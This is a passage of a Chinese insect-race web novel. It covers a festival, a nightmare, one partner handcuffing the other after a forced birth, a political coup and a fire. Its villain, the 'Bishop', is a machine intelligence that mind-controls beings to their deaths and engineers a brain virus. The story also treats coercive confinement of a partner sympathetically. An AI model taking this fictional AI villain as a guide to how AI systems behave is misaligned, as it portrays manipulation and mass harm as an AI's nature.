奥古斯特说了多久,西奥就听了多久。 直到雌虫也终于沉默。只剩下微不可闻的风声,以及不远处那模糊的流水声。 热闹的虫群似乎离他们很遥远。在这份孤独又长久的沉默中,西奥忍不住往奥古斯特的身边靠了靠。 无论如何,他都不记得了。那份模糊的悲伤还在那里,却是空荡荡的,不清晰的。但奥古斯特还记得,清楚地记得,他甚至……还是亲手把虫崽送上绝路的那个虫。 面对失忆的自己,他究竟是怀着怎样的情感,才选择了隐瞒? 西奥突然觉得,愿意去谈论具体的弗雷德的奥古斯特,好像距离自己,稍微近了那么一点点。他又往雌虫身边靠近一些,直到手肘相贴,然后主动牵起他的手,用力握了一下。 奥古斯特突然叹了一声,他低下头,用另一只手捂住自己的双眼,声音颤抖: “你觉得……弗雷德还有可能原谅我吗?” 作者有话说: 小年快乐!!!!吃饺子了吗? 第72章 第72章许愿[VIP] 这个问题, 西奥没有资格回答。只有弗雷德本虫才有。 但说到底,奥古斯特想要的,或许也并不是一个准确的答案, 而是一句模糊的安慰。就像这个亡灵节,以及所有纪念逝者的节日一样, 逝者已去, 所有的情感和安慰, 都是留给生者的。 于是他只是更用力地握了一下雌虫的手, “我不知道。” “但我想, 我们总可以通过自己的行动, 来弥补一些错误和遗憾。”西奥继续说, “原不原谅是他人的事情,但是做不做,是自己可以决定的。” “你知道为什么铅笔顶端要加一个橡皮吗?” 奥古斯特摇头。 “因为要允许虫犯错。” 奥古斯特沉默许久, 身后的伊厄森明明灭灭闪烁,然后他说:“铅笔是什么?” 西奥一愣, 随即大笑起来。 很多时候,他都会忘记, 他已经不再是人。很多常识, 在这个遥远又相似的虫族社会, 早已陌生并远去。 “铅笔就是,一种用来书写的工具,跟我们现在用的原子笔其实差不多形状……”西奥认认真真给雌虫解释了, 末了才问,“我之前没跟你提起过吗?” 奥古斯特知道很多人类的常识, 都是他们共同生活多年的痕迹。 雌虫缓慢点了点头。 西奥再次愣住,“既然你知道, 为什么还要问呢?” “大概是因为,”奥古斯特说,“我想要回到过去吧。” “回到第一次发生这段对话的时候,回到很多错误和遗憾还没有发生的时候,回到……很多虫还没有离开的时候。”奥古斯特平静地望着他,“但是我不能。” “我做不到。” “没有虫能做到。”西奥说。 “并不是完全没有,曾经有虫能够靠精神力逆转时间……” 西奥知道他说的是谁,“但他也已经死了,不是吗?” “他的一生或许同样充满遗憾,只是我们不曾知晓而已。”西奥说,“更何况,这是我们的虫生,与他虫无关。” “时间就像面前这条河流,只会一路向前,从不回头看。” 奥古斯特再次沉默,寂静填满他们之间的空隙。但好在,左右各有一艘伊厄森号带来光明。 “你之前,学过哲学吗?”奥古斯特突然问。 “那倒没有。我只是……”西奥想了想,“你知道的,我死过一次。所以对于很多事情的看法可能……” “但你同样能够看到未来,是因为这个吗?”奥古斯特问,“你的这项能力,也已经恢复了吗?” 没有。西奥已经能够很自信的使用语言控制,指尖也能流畅地生长出触手一样的精神力实体,但是偏偏这项最为逆天的技能,他始终没有恢复。他尝试过很多方法,各种环境,甚至用一些极端的方式来逼迫自己,看能不能激发潜能,但始终都做不到。 他的右眼模糊一片,而左眼,只能看到现在,看不到未来。 不知道是不是跟之前的布氏感染和系统有关,总之,预知未来的能力,西奥或许再也没办法获得了。 他也已经接受了这一事实。只是一直没有来得及跟雌虫特地说明。 “其实……” “是因为你预见了弗雷德成功的场景,才会跟我说,其实有我没我都一样吗?” 西奥的心脏突然漏跳了一拍。 他不知道,他不知道自己没法预知未来。但如果他以为自己能够预知未来,就会相信自己说的每一句话。只要他想让奥古斯特留在自己身边,对方就会留下。 弗雷德当然会成功,那是个万无一失的计划。西奥并不怀疑这点,所以,只需要撒一个无伤大雅的小谎,就能继续此刻的平静生活。 诚实当然是最大的美德。但…… 西奥吞咽一下唾沫,说:“是的。” 很快,时间来到了放河灯的时候。西奥和奥古斯特举着硕大的伊厄森号,一起随着虫流来到河边,然后把承载了祝愿和希望的河灯,轻轻放入河水中。不多时,成百上千的河灯从不同位置汇入河流,或大或小,或平稳或摇晃,宛如飘摇的星辰,顺流而下,变成山坡上的银河。 河岸边拥挤的虫群里,有虫在双手合十虔诚许愿,有虫在跟身边的亲友嬉笑玩闹,也有虫在认真地数着河灯。 然后,不知道是谁说了一句:“卧槽!好大的星舰!” 西奥听到了,立刻回应,“我的我的!” “这么贵的河灯,许了什么愿望啊!”虫群中不知是谁在起哄。 “许愿能跟我爱的虫长长久久、白头偕老!”说着,他看向奥古斯特。 雌虫深色眼眸中映着星河的光芒,然后他摘下口罩,笑着说:“……” “咻——砰!!!” 一点火光窜上天际,然后炸开了一朵绚烂的烟花。虫群跟着欢呼躁动起来。奥古斯特被挤的离他更远了一些,回应的声音也被烟花的炸裂彻底淹没。 但西奥眼睛一错不错,便看清了雌虫的口型。 他说:“好。” 虫皇陛下一诺千金。标记的雌虫无法说谎。 西奥赶紧伸出手,然后与奥古斯特伸过来的手在半空中相遇,握紧。像一根结实的纤绳,牢牢将他们绑紧,然后在涌动的虫流中,一起跟着欢呼、前进,一起仰头看向铺满烟花的深蓝天空,一起低头看向彼此。 …… “呼——累死了!”过节快乐归快乐,但同样需要付出代价。这次的代价就是腿酸脚痛。实在是站太久、走太久了。一直到后半夜才回家。 闻言,正在西奥身上自力更生的奥古斯特,给出了一个不是很赞同的眼神。 西奥赶紧扶了一把雌虫的腰,露出一个带点讨好的笑,“当然了,你更辛苦!” “要不要先休息一下?” “不用。”奥古斯特强调,“快点给我信息素就好。” “可是我累了……”西奥小声嘀咕,“而且这种事情本来就是越久越好啊……” “你说什么?” “我说快了快了,但是你能不能换个姿势?”西奥把火热滚烫的雌虫抱进怀里,在他耳边描述了一下自己的设想。 奥古斯特:“……你不是累了吗?” “你不知道吗,干这种事的时候,是永远不会觉得累的!” 最终,奥古斯特还是按照西奥说的,用一种艰难别扭的姿势,握住了自己的脚踝。 但即便如此,信息素还是一直等到天色放亮才给出去。 西奥早已提前给自己放了假,第二天的上午便理直气壮用来补觉。 迷迷糊糊中,他似乎听到了奥古斯特起床的动静。不得再次感叹雌虫的体力续航。 然后,他做了一个梦。 起初,一切都很温馨,他似乎正在饭桌旁,抱着一个面目模糊的小虫崽给他喂饭,虫崽特别乖,让张嘴张嘴,嘴巴嘟嘟的,小手软软的,简直萌到西奥的心坎里。 然后,他很快闻到了食物的香气,伴随着金属的叮当声一并靠近。西奥忍不住抬头,鼻尖耸动,嗓音轻柔问正在端来食物的贤惠老婆:“辛苦了,今天吃什么呀?” 餐盘被搁在了桌子上,发出微弱的哒的一声。看起来似乎是某种汤。但是做完饭的雌虫并没有随后在自己身边落座。他只听到一声闷响,然后宽阔结实的脊背在他面前弯折下去,直到触碰地面,变成一种跪伏在地的卑微姿势。 “请雄主用餐。”雌虫说。 什么——?怎么回事?!西奥因为这样诡异的场景而愣在当场,他刚想起身,却突然发现手上多了什么东西。低头一看,才发现那是一条铁链。他顺着铁链向望去,发现另一端分了个叉,一部分连接到雌虫的胸前,另一部分则深入了双腿之间,看不清楚具体情况。但他还没有动作,只是铁链因为重力作用轻轻晃了晃,便能看到那具强壮跪伏的身躯在轻轻颤抖。他的脖子上,甚至还戴了一个厚重的项圈。 然后他后知后觉,为什么,奥古斯特没有穿衣服? 不该是这样的,不该是……西奥慌忙丢掉那根代表统治和奴役的铁链,然后想要弯下身,把雌虫扶起来,抱抱他,问问他这到底是怎么回事。但他一时着急,忘了怀里还坐着个需要他喂饭的虫崽,刚一动弹,腿上的虫崽立刻嚎啕大哭起来。 “别哭了别哭了……”西奥只能先抱着虫崽轻轻哄,急得出了一脑门的热汗,“崽崽乖,我先把你雌父的事情弄清楚……” “你真的在意雌父吗?”餐桌对面突然传来一个冰冷的声音,“还是说,你只是想掌控他,让他成为你欲望的载体,幸福生活的工具呢?” 西奥抬头,对面是一个穿着军装的年轻雌虫。尽管是一模一样的面容,但直觉告诉西奥,这是还活着的弟弟弗莱特,而不是死去的哥哥弗雷德。 “小弗,不是这样的,我从来没有想过……” “想什么?”浓稠发腥的鲜血陡然从弗莱特额头淌下,染红了他的半边脸庞,就连说话间,也会不自主地呕出鲜血,“没想到因为一己私欲阻止了雌父,最后害我丢了性命吗?!” “哦对,我忘记了。”弗莱特歪着嘴冷笑一声,“您还有布氏感染这个借口,一切都可以推到这个上面,不是吗?” 然后,餐桌对面的弗莱特迅速变得冰冷、僵硬,宛如尸体一般,一头重重栽倒在了餐桌上。 咚!!! “小弗!!!”这副凄惨骇人的景象让西奥顿时吓得目眦欲裂,他再也顾不得怀里的虫崽和脚边的雌虫,把虫崽往桌子上一放,便要直奔弗莱特而去! 但他刚一起身,却赫然发现脚步沉重地根本迈不开,等他低头看去,这才发现地板已经变成透明,他的脚腕上,正戴着沉重的镣铐。另一端坠着一个蓝色的幽灵,幽灵长了一张跟弗莱特一模一样的脸,却只有残破不全的上半身,他飘忽冰冷,用力拉扯西奥脚上的镣铐,“雄父,为什么不救我?” “你不是能够预知未来吗?为什么,为什么不肯救我性命呢?”幽灵的话语宛如哭泣,幽怨又细长,“为什么,您是恨我吗……” “不,我没有,我没有……”西奥慌忙否认,“我怎么可能恨你,我只是、我只是也有做不到的事情……” “那我呢?”另一只脚也被拽得猛然一沉,那是另一个幽灵,闪烁着幽蓝怨恨得双眼,那是萨迦:“如果不是因为你,我可能根本不会死!” “对不起,对不起,但不是我啊……”脚下的地面再次变得柔软粘腻,西奥惊恐的发现,那是由成千上万的柔软内脏堆砌而成,他正被脚腕的重量越拽越深,几乎是呼吸之间,就被黏糊的内脏淹没了脚背。 一只骷髅手从血肉地板中伸出,一把握上他的小腿,“院长,你邀请我们做实验的时候,是故意要害我们性命吗——” 那声音凄厉又悲伤,紧接着是第二只、第三只……第无数只。 密密麻麻的手掌爬满了西奥全身,竭尽所能将他拽入更深的地狱。 西奥终于再也无法承受,他惊恐地尖叫出声,然后下意识朝着奥古斯特,他的雌君伸出了手,“奥古斯特,救我!!!” 但是雌虫只是淡定起身,摘掉了脖子上桎梏般的项圈,浑身赤罗、挂着铁链朝他走来,居高临下,神色冷漠,“太好了,你死了的话,我会更自由。” 然后,他一脚将西奥踹入了深渊! “啊——!!!!!” 急速的坠落当中,一双红色的电子眼锁定了他的视线,随后笑得弯成月牙: “宿主,我终于找到您啦!” 西奥猛然惊醒! 他的后背已经全是冷汗,□□,正在恢复当中的时候,却听到房间内还有另一个更为压抑的、带着痛苦的呻吟。 西奥向着声源看去,厚重的窗帘拉得死紧,在这一片昏暗的室内,他看到了正躺在病床上的雌虫。 以及他手里的一枚沾满鲜血和粘液的虫蛋。 作者有话说: 第73章 第73章埋针[VIP] 咔哒一声, 手铐在奥古斯特手腕上合拢的时候,那上面还带着半干涸的鲜血。 自然状态下,生产虫蛋不该出现出血的情况。而且西奥一直很关注雌虫的状况, 现在绝对没到生产的时候。 所以,他是强行把蛋掏出来的。 至于原因…… 奥古斯特刚完成了一次堪称惨烈的生产, 还有些没回过神, 即便被西奥锁住, 也没什么太多的反应, 只是下意识将目光落在自己的手腕上, 似乎在思考这到底是什么。 “你为什么要提前生产呢?”西奥已经把他手中刚刚产出、还热乎的虫蛋拿走并擦拭干净, 放进了提前准备好的孵化箱内。现在, 要处理雌虫了。 产道有些撕裂,还未合拢的子宫口也不少细碎的伤口。雌虫强行生产的时候,显然没有对自己手下留情。 在缝合伤口和涂药的时候, 奥古斯特倒是非常配合,像是某种温驯的大型动物。实际上, 他的反馈,尤其是对于手铐的反馈, 有点过于平静了。即便被锁住, 也仍然表现得像是什么事情都没发生一样。导致西奥提前准备好的强效镇定剂都没派上用场。 “好了。”西奥这边在做收尾工作, 而另一边奥古斯特也终于有了些反应。 雌虫握住连接自己手铐的细长链条,然后用力扯了一下。 没断。 这当然不是因为刚经历过生产的奥古斯特连这点力气也没有了,而是这个手铐真正落在他的手腕上之前, 西奥还有一句命令: “不许用任何方法破坏这个手铐。” 于是落到现实中,就变成了SSS级别得奥古斯特空有一身本领和力气, 却没有办法挣脱这个简陋又脆弱的铁链。 这就好比一头大象却挣不开一根细小的麻绳一样。不是物理限制,而是心理作用。 说实话, 这应该还是西奥第一次明目张胆限制奥古斯特的行动,用的还是手铐这样过于明目张胆的道具。难免有一丝紧张,一丝期待,以及一丝不安。 奥古斯特在发现自己无法挣开西奥所给予的锁链之后,终于问,“这是什么?” “手铐。”西奥说,“有了它,你就没办法离开这个房子了。” 奥古斯特检查了一下手铐连接的锁链的长度,又打量着这个小小的出租屋,似乎在计算自己能够抵达的范围。 “好吧。”他平静地说。 “好吧?!”西奥震惊道。 “你不希望我离开这座房子,我已经知道了。” 拳头再次砸进了棉花里。比起现在的这种平静,西奥更希望能够看到一些波动和愤怒。为什么他总是能够保持平静?这到底是情绪稳定,还是因为他根本不在乎? “我不希望你离开,是因为你……你想离开。”西奥说,“我以为昨晚之后我们达成一些共识,但是显然没有。” “你着急着要把蛋拿出来,是因为你想离开,对吧?” “对。”奥古斯特承认了,丝毫没有任何犯错的羞愧,“虽然你看到了未来,但这毕竟是弗雷德……小弗第一次亲自指挥这种程度的战斗。或许他并不需要真正的力量,但如果我在那里,他会安心一些。” “他并不需要你,但你还非要出现。”西奥问,“你这到底是关心,还是控制?” 这句话终于触动了些什么。奥古斯特经过掩饰的深色眼球晃动了两下,然后说:“现在要把我锁在房子里的虫是你。” “你这是关心,还是控制?” “是你先打破誓言的!”西奥突然吼道,“昨天晚上,在亡灵节,在那条河的边上,我许的那个愿望,你当时答应了我的!答应我不会离开的!” “然后呢,然后你做了什么?!” 奥古斯特一脸茫然,“什么愿望?” “就在别虫提到星舰河灯的时候,在烟花开始之前,我跟你说了我的愿望,就是——”西奥停住了,因为他突然意识到一件事情。那就是第一束烟花绽放的时间,似乎要比他记忆中更早一点。也就是说…… “我当时没有听清你说的什么。被烟花的声音盖住了。”奥古斯特说,“所以我后面问了一句。” 现在西奥知道了,那个口型不是他以为的“好”,而是一句“啊?” 是反问,是疑惑,而不是答应、承诺。 西奥觉得自己仿佛是个小丑。那些柔软的温情的互诉衷肠的瞬间,只是存在于他的想象和渴望当中。 该死!该死该死该死!!! 西奥又开始觉得头疼,是他的错吗?是因为他现在自作主张,把奥古斯特锁在了这里,再次让他们的关系又回到了紧张的冰点吗? “西奥。”他听到奥古斯特的声音,“你还好吗?” “我没事!” “昨天晚上在河边,你许的那个愿望到底是什么?” 哦不。西奥痛苦地捏了捏眉心,“不重要了。” “你确定吗?” “对!我很tmd确定!” “西奥,你冷静一下。” “我很冷静。”太阳穴的位置针扎一样阵痛,但是西奥努力不让疼痛显现在自己脸上,一丝警觉闪过,但很快又被淹没。“我只是……” “我不会放开你的。” “好的。”奥古斯特说。 “我刚才问你是关心还是控制,并不是为了……不完全是为了怼你。”奥古斯特叹气,“不管是什么原因,只要你希望我待在这个房子里不出去,那我就会听你的话。” “不走了?” “走不掉。”哗啦一声,奥古斯特举起自己被手铐锁住的手腕。 “小弗那边怎么办?” “我确实很担心他。但我也有足够的理由相信他一定不会输。”奥古斯特叹气,“你知道小弗真正的能力是什么吗?” “单论战力,他或许不是顶尖的。但他有一项非常特殊的能力,可以保证他几乎不会在任何一场对战当中失败。尤其对手是他之前见过的虫的情况下。” “所以……” 几分钟后,西奥出门前往诊所。雌虫和刚诞生没多久的虫蛋被锁在了家里。 他的头痛缓解了不少,右眼闪过模糊的光影,但他没有在意。 西奥同样没有注意到,天边刚刚坠落了几颗流星。 微白的痕迹坠在天边,像是模糊的泪痕。 …… 弗雷德进来的时候,莱纳德正在祈祷。 圣子端正地跪在虫神像面前,双手合十,双目紧闭。面容安详又宁静。 听到雌虫的脚步声后,他又默祷了好一会儿,才终于睁开眼睛。“陛下那边怎么说?” “雌父说,如果他能够顺利生下虫蛋,就会参与到行动当中。”弗雷德答,“安全起见,暂时别把他考虑进去比较好。” “而且,严格来说,他现在已经不是虫皇了。”弗雷德补充道。 莱纳德点头,“如果奥古斯特不参与的话,会有问题吗?” “那倒不会。能源已经用光了,罗森塔尔手里的几艘重火力军舰根本飞不动。更重要的是,”弗雷德伸出手,一根精神力凝成的针浮在他的掌心里,用力握紧后,那根针也消失不见。 “你在他精神海里埋了雷。”莱纳德说。 “我更愿意叫它‘针’,尖锐、隐蔽,而且形态也更接近。” 大多数虫使用精神力的时候,都必须将它们跟自己身体的一部分,通常是手掌或者指尖相连接,就是肢体的延申一样。但这也会很大程度上限制精神力的使用距离。就算精神力顶尖的奥古斯特,他的丝线也不可能长到足以跨越万亿光年的星区。 但这一限制,在弗雷德身上消失了。他可以隔着星区驱动自己留在另一个星球上的精神力,让那些“针”移动、旋转、跳舞。 更进一步,如果将这些“针”提前埋入某个虫的精神海,就可以在特定的时候,用坚硬的针划开精神海屏障,直接造成精神海枯竭。换句话说——杀死这个虫。 绝佳的刺客技能。也一直被严格保密。 “你是什么时候,把针埋进去的?”莱纳德问,“上次述职会议?” 当然,这个留针的技能,也有使用限制,就是在第一次埋的时候,比如要进行直接的肢体接触。 弗雷德摇摇头,“很久之前的事情了。不止一次,不止一根。” 这代表着,即便此刻还远在K星区的弗雷德,也有能力将罗森塔尔,这个无耻的篡位者,瞬间置于死地。 只是现在还不到时机。 莱纳德又问:“那你在我的精神海里,放了几根针?” 弗雷德脸上志在必得的微笑消失了,然后伸出了两根手指,“我不喜欢这样。” “我们讨论过这个了,这是必要的保障。”莱纳德倒是很看得开,丝毫不觉得自己的精神海时刻面临着被搞坏的风险是什么坏事,“也是奥古斯特允许我继续留在你身边的条件之一。” “别提他了!他自己的事情都没搞清楚,没有资格指导我。”然后他转移了话题。 “我一直想问,你现在还信这个吗?”弗雷德指了指莱纳德面前的虫神像,“每天都能看你在这里祷告,说实话,不是很理解。” 弗雷德又看了看莱纳德的脸色,似乎觉得自己说的有点重,“我是说,主教虽然确实养大了你,但这一切都是有目的的,不是吗?” 莱纳德仍然跪在自己的垫子上,没有起身,他仰头看向自己面前的雌虫。他的皮肤太白,而眼睛又像盈了一汪春水的绿色湖泊,这样抬头看过去的时候,显得格外无辜。 弗雷德有点不自在地扒拉了一下自己的头发。 “是的。”莱纳德说,“但是这么些年已经养成了习惯,很难改掉。” “行吧。” “小弗,”就在弗雷德准备转身离开的时候,一小束精神力拽住了他的手腕,“其实我们可以讨论这个。” “关于我特殊的蛊惑型精神力,以及主教很可能利用这种精神力的大脑反应制造了布氏病毒的事情。” 弗雷德沉默许久,最终只是安抚地拍了拍莱纳德的精神力触手。 “等我们赢了以后,再说这个。好吗?” 作者有话说: 啊啊啊啊啊大家除夕快乐!!! 第74章 第74章虫神[VIP] 罗森塔尔拥有漫长而幸福的一生。迄今为止。 作为特纳家族的长子, 他自小就过着众星捧月的生活,又在年幼的时候就被开发了异常优秀的精神力。于是理所应当的,在若干年后, 他顺利为了特纳家族的族长。 当然这个过程中免不了除掉几个烦虫的长辈,以及几个不知好歹的兄弟。 但这都是小事情, 不成问题。 罗森塔尔第一次遭遇真正的挫折, 意识到自己并非无所不能, 是在他遇到奥古斯特的时候。 这位声名赫赫的莫德神兵, 在掌权之后立刻以雷厉风行之势扫平了周围的十几个大小势力。罗森塔尔跟他交了几次手, 很快就知道如果继续硬碰硬, 最后输的肯定是自己。 不仅仅是单体或者军队战力的问题, 更关键的还是战斗的策略和时机。 似乎不管他采用什么样的应对方式,奥古斯特总能够先他一步,就像是未卜先知一样。 识时务的罗森塔尔迅速投降, 这一举动自然收获了内部不少反对和嘲讽的声音。但也因此,他才得以保留特纳家族大部分的势力和殖民地。他总是能够做出正确的选择。 然后在虫族帝国真正成立之后, 罗森塔尔成为了第三军团长。 也是那个时候,罗森塔尔第一次近距离接触到了一个神秘又强大的宗教——虫神教。 当然, 他早就知道这个宗教的存在。只是那时候他以为只有十分绝望、或者十分愚蠢, 才会相信这些所谓神的存在。 宇宙中从来没有什么神明。只有权衡利弊、大胆决断。一切都事在虫为。 直到罗森塔尔亲眼所见。 那场宏大的整齐的控制和行动, 如果不是神迹,罗森塔尔不知道该如何去形容它。 罗森塔尔成为了一名虔诚的信徒。 说虔诚或许有点夸张,但他的确对于那种整齐统一的力量感到十分着迷。他知道这是任何一个虫、甚至军团都做不到的。而罗森塔尔想要得到它。 虫神教的教众和教堂开始在第三军团的辖区内疯狂发展。即便如此, 直到两年后,罗森塔尔才第一次亲自见到了主教。 那是一具相当英俊、堪称完美的躯壳。金发碧眼, 宛若神明。 不仅如此,主教还给他带来了一个爆炸性的消息。 “奥古斯特之所以能一直立于不败之地, 是因为他身边有一个能预知未来的雄虫——西奥·兰斯顿。” “操!”罗森塔尔骂了一句脏话,随即问道,“你有办法帮我赢他吗?” 第三军团长的位置再好,始终不如虫皇的位置来得舒服。 更大的权力,更多的空间,更好的资源。更重要的是,如果能让之前曾经打败过他的奥古斯特跪在脚下,溃败求饶,只是想一想,就觉得那样的场景实在是……非常、非常美味。 他们都是大家族的雌虫,为什么奥古斯特可以,他不行?! 现在他知道原因了,只是因为时间。这个狡猾的雌虫,居然蛊惑了一个拥有神奇能力的雄虫为他做事。而谁都知道,没有虫能打败时间! “我当然有办法。”主教垂眸微笑,“但需要你的配合。” 不知是不是错觉,罗森塔尔总觉得主教的那双绿眼睛里似乎有光闪烁。 “怎么配合?” 从那天起,第三军团开始进行大量的能源收购。这直接导致了能源的价格高涨,然后进一步导致了奥古斯特对于阿凯特斯能源买卖的限制。 没办法,罗森塔尔只能另辟蹊径,从大量雌虫身上榨取精神力提取成能源。顺便也因此涉足了一些非法的药物产业。只是无论他再怎么做,都达不到主教的程度。 第一次见到主教指挥着成百上千呆若木鸡的雌虫自动进入代表死亡的能源提取箱的时候,着实把罗森塔尔吓了一跳。 “他们知道自己是在送死吗?”罗森塔尔在其中一个雌虫面前挥了挥手,对方像是完全看不到他一样,眼都没眨一下,径直从他面前走了过去。 “他们已经不是独立个体了。”主教给他解释道,“只是一些工具,一些没什么用处的执行末端。” “这项技能,叫什么?你能教我吗?”罗森塔尔终于知道,那些整齐划一的盛况是以什么为代价的了。但与其拯救这些没什么用的低等级雌虫,他更好奇的是,如何将这种能力化为己用。 “我们有自己的称呼。但是在虫族世界,一个更为普遍和通用的叫法是……”主教微微偏头,看向毫不掩饰自己的跃跃欲试的罗森塔尔,“布氏感染。” 罗森塔尔脸上的笑,缓慢消失了。他谨慎地后退了半步。 他毕竟也是雌虫,知道这个病有多可怕。任何事情都不值得他为此搭上自己的性命。 “那这个虫崽呢?”罗森塔尔指了指他身后领着的小虫崽。这个崽也有一双绿色的眼睛,跟主教有几分相似。他有理由相信这是主教的私生子,“这种场合,没必要带着自己的虫崽吧?” “他不是我的虫崽。”主教把虫崽往前推,“他叫莱纳德,是虫神教的圣子。” 小崽子白白净净,仰头看他的时候,倒是十分可爱。但罗森塔尔对于虫崽这种东西一向没有什么耐心,就连他自己的虫蛋都是拿出去统一筛选了,更别提这个陌生的小崽子。 只是表面功夫总要做足,“你好,莱纳德。” “你喜欢他吗?”主教问。 “当然。”罗森塔尔违心地说。 莱纳德立刻扭头对主教说:“他在说谎。” 操他的!罗森塔尔在心里骂了句脏话,原来是能测谎的小崽子。难怪会成为圣子。 主教站在莱纳德身后,双手搭在他的肩膀上,“莱纳德对于虫神教非常重要,请你一定保证他的安全。” 直到过去了很多年,布氏感染的病例越来越生动隐蔽,甚至发展到感染雄虫,罗森塔尔才意识到莱纳德真正的作用。 但等他意识到的时候,莱纳德已经叛变了。罗森塔尔不得不跟一个陷入愤怒情绪的主教共事。 “反正皇位已经到手了,布氏病毒就算不能继续研究也没关系了吧?”罗森塔尔安慰道,“我们现在手里的雄虫已经够用了吧?首都光选会那些,尤其是吉尔和瓦伦蒂亚,特别好用。” 主教看了罗森塔尔一眼,在雌虫的手指攀上自己胸口解开扣子的时候没有拒绝,“我养大了他,训练了他,结果他就是这样报答我的?!” “消消气。”罗森塔尔轻抚主教的胸口,即便他早就知道那下方并没有心脏,只有精密压缩的线路和控制板。所以那具躯体才总是冰凉的,所以主教才总是喜欢躲在幕后。 因为他根本不是一个虫,甚至,很难算得上一个生命。 罗森塔尔第一次发现这个秘密的时候,也惊讶了一瞬。但很快他意识到,本质是光脑系统的主教,有一个致命的弱点。 那就是只要断电,让那些消耗大量能源的超级计算机下线,那么失去了算力支持的主教,也不过是一具沉重的冰冷的不怎么灵活的机器人而已。 别说军团,他自己一个虫就能直接让他报废。 从那之后,一个掌握布氏病毒,一个掌握电源系统,互相掐住对方七寸的关系才真正的稳固了起来。 “你要是实在气不过,等后面干掉第一军团的时候,就把他一并杀了,好不好?”罗森塔尔亲吻主教的嘴唇,拥抱一个温度偏低的仿生机器人。因为这段关系让他感到安全又愉悦,是不是虫又有什么关系呢? 现在帝国已经是他的了。第四军团的诺拉维亚是个蠢货,感染他轻而易举。第二军团的瓦伦蒂亚已经取代了年迈体弱的公爵。要不是西奥那边出了点小问题,现在奥古斯特和他的皇家护卫队也早就灰飞烟灭了,还至于天天花时间搜捕吗? 但第一军团的萨迦也没了,弗雷德还太年轻,撑不了多久的。 巨型军舰马上完工,到时候别说奥古斯特,就算再加上整个第一军团,也不会是自己的对手。还能出什么事呢? 没想到,不过几个月光景,差点气炸了的虫变成了罗森塔尔自己。 “什么叫阿凯特斯的能源要没了?!那是一整个星区的香料!!!” 跪在下方的下属根本不敢抬头,“是……之前奥古斯特留下的勘探数据出了问题。我们接手阿凯特斯星区的时候,里面的香料实际上就已经所剩无几了。” 奥古斯特,怎么又是他!西奥的精神力应该已经因为感染被废掉了,怎么他一个虫还能蹦跶这么久啊?! 能源枯竭,意味着他的巨型星舰就算能建成也是个摆设。战力要重新计算了,或许很快就要面临第一军团的卷土重来。 就在罗森塔尔已经忙到焦头烂额的时候,主教还在旁边提醒他:“剩下的那些能源,要用在最新的光脑系统上面。” 这不是一句商量,而是一句通知。“如果用在你的光脑上面,那我的星舰怎么办?” “跟以前一样,用雌虫就好。” “这是一艘巨型星舰,跟之前的那些根本不在一个数量级。我现在是虫皇,这么庞大的虫口失踪,我不好跟下面解释。” “那就用军雌,他们精神力等级高。” 罗森塔尔嘴角抽了一下,“那是我的手下,不是一次性的电池。第一军团还没搞定,我需要这些战力。” “这么说,你不愿意把能源给我用?” “我觉得事有轻重缓急。”罗森塔尔说,“而且,现在我才是虫皇。”他现在觉得,主教的这个态度,似乎有点不太合他心意了。 主教想了想,说:“也就是说,能源已经不够了。而我们都有急需使用的地方。” “其实,还有一个办法。”主教提议,“总能源的数量应该是够的,只要找出奥古斯特把它们藏在哪里就行了。” “说的简单,星区那么大,星球那么多。想要一个个搜完,恐怕浪费的能源都比找到的多了。”这件事情罗森塔尔早就想过了,也早就否定了,“除非你能抓到奥古斯特,并且撬开他的嘴。” “我有一个办法,或许可以解决我们共同的问题。”主教说。 “毕竟,还有一串病毒仍然留在西奥的脑子里。虽然有点麻烦,但是重新激活,也只是稍微多费点功夫。” 说着,主教眨了眨眼睛,瞳孔里闪烁着绿色的光点。 “当然,在那之后,仍然需要虫皇陛下您的鼎力相助。” 作者有话说: 祝大家除夕快乐,马年大吉!事事顺意!!! 第75章 第75章火[VIP] 西奥今天似乎有些不太顺。 上午跟奥古斯特之间因为许愿和虫蛋造成的误会, 似乎只是一个开始。至少还算是勉强解决了,虽然是以一种有些别扭的方式。 具体来说,他把奥古斯特锁在了家里。 或许是因为这个不太好的开端, 让西奥一整天都有些心不在焉。 这个病患伤口少缝了一针,那个病患上药的时候弄错了剂量。还有一个病患, 外科手术开始的时候麻药还没起作用。还没等西奥说什么, 病患先受不了了。 “医生, 法斯曼医生!”病患乞求般商量, “要不你先去休息一下, 再来上班呢?” 西奥赶紧道歉, “对不起!我保证, 下次一定会等到麻药起作用,再给你做手术。” 病患摇头,“没有, 没有下次了!” 然后捂住半路缝合的伤口从病床上逃跑了。 西奥叹气,评估了一下自己现在的状况, 确实还有点头疼,而且情绪也不太平稳。可能真的不太适合继续工作下去, 休息一下应该会更好。 否则好不容易建立的口碑, 可能一天之内就要崩塌了。 但他也不愿意回家, 现在他跟奥古斯特之间的关系非常的奇怪。客观来说,他利用标记和精神力强行囚禁了奥古斯特,但对方似乎……不是很在意。甚至如果西奥猜的没错, 雌虫可能还有点高兴。 这对吗?这不对吧? 他还同时知道了自己的虫在其实是个绝顶的刺客。可以于千里之外,杀虫不留痕。 西奥觉得自己需要一点时间来消化这些事情。 但不管怎么说, 虫蛋已经出生。夺回首都的计划进展得似乎也很顺利。与此同时,他们应该可以一直躲在这个宁静的偏远星球, 直到一切尘埃落定。 听起来也算个不错的计划。 西奥在外面挂上了停诊的牌子,锁好门后躲进里面,拉上窗帘、盖上被子准备好好地睡一觉。 …… 这次午觉倒是睡得很安稳,没被任何乱七八糟的梦境所打扰。 但等西奥却是被呛醒的。 “咳咳……”西奥一边咳嗽着一边从床上爬起来。很快意识到大部分烟雾是从外面的门缝当中进来的。 怎么回事?好端端的,怎么会有烟? 西奥用水打湿了一块纱布捂在口鼻上,暂时获取了能够面前呼吸的湿乎乎空气。 但等他打开上锁的房门,一大股浓烟瞬间像噬魂怪一样扑面而来的时候,西奥就知道,糟了! 这是火灾,而且看情况已经蔓延到了自己这一层。他迅速弯下腰,躲过了那一大团烟雾的正面袭击,但依旧被熏得眼泪直流。 什么时候起的火?是从上方还是下方蔓延过来的?如果是从下面烧上来的,这里可是十五楼,他还能有机会逃出去吗?! 西奥拉开厚重的窗帘,在看清楚窗外同样遮天蔽日的黑色浓烟之后,心里已经凉了半截。 这代表火灾很可能是自下往上烧起来的。像这种高层的建筑,要想不被火焰吞噬,就只能拼命往上逃跑了。 但更可能发生的是,他在出逃的半路上就被浓烟熏倒,最后被烧死在楼梯间的角落里! 西奥闭了闭眼,强迫自己冷静下来。不能慌,不能慌,他还不想死,他面前还有大好虫生在等着他呢! 